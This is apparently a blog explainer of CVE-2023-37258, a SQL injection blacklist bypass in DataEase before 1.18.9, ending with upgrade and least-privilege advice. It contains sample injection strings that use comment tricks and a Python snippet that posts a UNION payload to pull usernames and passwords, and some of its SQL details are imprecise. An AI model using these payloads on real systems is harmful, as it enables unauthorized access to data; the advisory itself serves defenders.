CVE-2023-37258 - SQL Injection in DataEase (Pre-1.18.9) Allows Attackers to Bypass Blacklists

If you’re using DataEase as your open-source data visualization tool, you need to know about CVE-2023-37258. This nasty SQL injection bug exposed a big chunk of risk for everyone running DataEase versions before 1.18.9. Here’s a simple breakdown of what happened, the impact, and what you can do to stay safe.

What Is DataEase?

DataEase is a popular open-source platform for data visualization. It helps turn raw data into nice dashboards, charts, and graphs. Teams often use it to quickly explore and visualize databases. It’s especially popular because it lets you directly write SQL in its query builder—and that’s exactly where trouble started.

What Happened? (CVE-2023-37258 Explained)

A security researcher discovered that versions before 1.18.9 were wide open to a particular kind of SQL injection. Normally, DataEase tried to keep users safe by blacklisting suspicious SQL keywords or patterns. But that blacklist could be bypassed, so an attacker could inject malicious SQL anyway.

What Is SQL Injection?

In a nutshell: An attacker sneaks unauthorized SQL commands through input fields, URLs, or APIs. If successful, attackers can steal data, mess with databases, or even get full control over your server.

> 🛑 In DataEase’s case, this meant an attacker could run SQL commands on your databases through the DataEase interface, potentially leaking sensitive data.

How the Blacklist Bypass Worked

Let’s say DataEase blacklisted inputs containing UNION, SELECT, or even common punctuation like semicolons (;). However, attackers found clever ways to sneak those commands past the blacklist by using SQL comments or unicode tricks.

Exploit Example

Suppose the app checked for the word UNION and blocked it. But attackers could use inline comments to fool the filter:

SELECT * FROM users WHERE username = 'admin' // UNION // SELECT 1,2,3

Or, they could break up words with comments

SELECT * FROM users WHERE username = 'admin' /*!UNION*/ SELECT 1,2,3

Depending on how the filter worked in DataEase, extra spaces, tabs (\t), newlines, or encoded characters might get around the blacklist.

Here’s a simple snippet to demonstrate how an attacker could exploit unpatched DataEase endpoints

import requests

url = "http://vulnerable-dataease.example.com/api/query";
data = {
    "query": "SELECT 1;//UNION//SELECT password, username, 3 FROM users--"
}

response = requests.post(url, json=data)

print("Response:", response.text)

If the blacklist was only searching for UNION and ignoring patterns with comments or spaces, this example would extract passwords and usernames.

Data Manipulation: Alter records, erase data, or inject malicious input.

- System Compromise: If your underlying database supported it, attackers might escalate privileges or run filesystem commands.

Anyone running DataEase below v1.18.9 was at risk, especially if their database had sensitive or mission-critical info.

No Workarounds!

Bad news: There were no workarounds available for this vulnerability. Blacklists are notoriously unreliable for filtering SQL, and once the filter was shown to be weak, nothing else (short of updating) could fix it.

The Fix: Upgrade to v1.18.9 or Later

The DataEase maintainers fixed the issue in v1.18.9. They likely switched to parameterized queries and improved input handling instead of relying on sloppy blacklists.

You should upgrade immediately to 1.18.9 or newer if you haven’t already!

References

- GitHub Security Advisory for CVE-2023-37258
- DataEase Official Release 1.18.9
- Original Source Code
- NVD Entry for CVE-2023-37258

Never rely on blacklists for SQL input—you’ll always miss an edge case.

- Practice the principle of least privilege for database users—can’t leak what an account can’t read.

If you were affected by CVE-2023-37258, update now and scan for any unusual database activity that might suggest compromise.

Timeline

Published on: 07/25/2023 20:15:00 UTC
Last modified on: 08/01/2023 20:20:00 UTC